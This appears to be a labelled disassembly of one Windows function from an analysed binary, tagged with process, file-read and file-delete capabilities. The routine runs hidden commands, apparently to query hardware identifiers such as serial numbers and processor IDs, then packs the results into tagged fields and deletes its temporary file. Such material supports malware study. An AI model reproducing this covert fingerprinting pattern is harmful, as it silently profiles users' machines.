Function at 0x407f4b
Capabilities:
Create process on windows
Delete file
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x35a8
call fcn.0041fc10
mov eax, dword [0x42c004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, ecx
lea eax, [ebp - 0x414]
push eax
xor ebx, ebx
mov edi, 0x104
push edi
mov dword [ebp - 0x35a8], ebx
mov byte [esi], bl
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
cmp eax, edi
ja 0x40826d
test eax, eax
je 0x40826d
lea eax, [ebp - 0x108]
push eax
push ebx
push 0x426cae
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
je 0x40826d
push 0x6d
mov edx, 0x429930
mov byte [0x432b18], bl
lea ecx, [ebp - 0x310]
call fcn.00407e23
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x310]
push eax
call fcn.0040d770
mov edi, dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea eax, [ebp - 0x310]
add esp, 0xc
push ebx
push ebx
push eax
push 0x42997c
push str.open
push ebx
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x12c
call ebx
push 0x6d
mov edx, 0x429980
lea ecx, [ebp - 0x310]
call fcn.00407e23
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x310]
push eax
call fcn.0040d770
add esp, 0xc
lea eax, [ebp - 0x310]
xor ecx, ecx
push ecx
push ecx
push eax
push 0x42997c
push str.open
push ecx
call edi
push 0x12c
call ebx
cmp dword [ebp + 8], 0
jne 0x4080ec
push 0x6d
mov edx, 0x4299b4
lea ecx, [ebp - 0x310]
call fcn.00407e23
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x310]
push eax
call fcn.0040d770
add esp, 0xc
lea eax, [ebp - 0x310]
xor ecx, ecx
push ecx
push ecx
push eax
push 0x42997c
push str.open
push ecx
call edi
push 0x12c
call ebx
push 0x6d
mov edx, 0x4299e4
lea ecx, [ebp - 0x310]
call fcn.00407e23
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x310]
push eax
call fcn.0040d770
add esp, 0xc
lea eax, [ebp - 0x310]
xor ecx, ecx
push ecx
push ecx
push eax
push 0x42997c
push str.open
push ecx
call edi
push 0x12c
call ebx
xor ebx, ebx
lea eax, [ebp - 0x108]
push ebx
push 0x80
push 3
push ebx
push ebx
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
mov byte [ebp - 0x24dc], bl
push ebx
lea eax, [ebp - 0x35a8]
push eax
push 0x1000
lea eax, [ebp - 0x35a4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x408248
push ebx
push ebx
push 0x2000
lea eax, [ebp - 0x24dc]
push eax
mov eax, dword [ebp - 0x35a8]
shr eax, 1
push eax
lea eax, [ebp - 0x35a2]
push eax
push 0x200
push ebx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0x429a10
mov edx, str.Manufacturer
mov dword [ebp - 0x35a8], eax
lea ecx, [ebp - 0x24dc]
call fcn.00407cc4
mov edx, str.Product
mov dword [esp], str._BP:
lea ecx, [ebp - 0x24dc]
call fcn.00407cc4
mov edx, str.SerialNumber
mov dword [esp], str._BSN:
lea ecx, [ebp - 0x24dc]
call fcn.00407cc4
mov edx, str.Name
mov dword [esp], str._PN:
lea ecx, [ebp - 0x24dc]
call fcn.00407cc4
mov edx, str.ProcessorId
mov dword [esp], str._PID:
lea ecx, [ebp - 0x24dc]
call fcn.00407cc4
mov edx, str.Model
mov dword [esp], str._HD:
lea ecx, [ebp - 0x24dc]
call fcn.00407cc4
mov edx, str.Caption
mov dword [esp], str._BIO:
lea ecx, [ebp - 0x24dc]
call fcn.00407cc4
mov edx, 0x4273a8
mov dword [esp], 0x426cae
lea ecx, [ebp - 0x24dc]
call fcn.00407cc4
lea eax, [ebp - 0x24dc]
mov dword [esp], 0x429a9c
push eax
call fcn.0040d770
lea eax, [ebp - 0x24dc]
push eax
push 0x426e08
push 0x5dc
push esi
call fcn.00407bd0
add esp, 0x18
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp byte [esi], bl
jne 0x40826d
push str.FrDYIBDOUjLhOzXBNvIcuIXkHloxKvWBLhnNfJZMZBslMRyXJzgjPLGMVOFGHGRVdYatKrTcZJSOwXfUJEdadqtYcQgkhTibEGFPNbemdrvGgKJHUnVRZczWYrIlfzCQ
push esi
call fcn.0040d760
pop ecx
pop ecx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040827c
leave
ret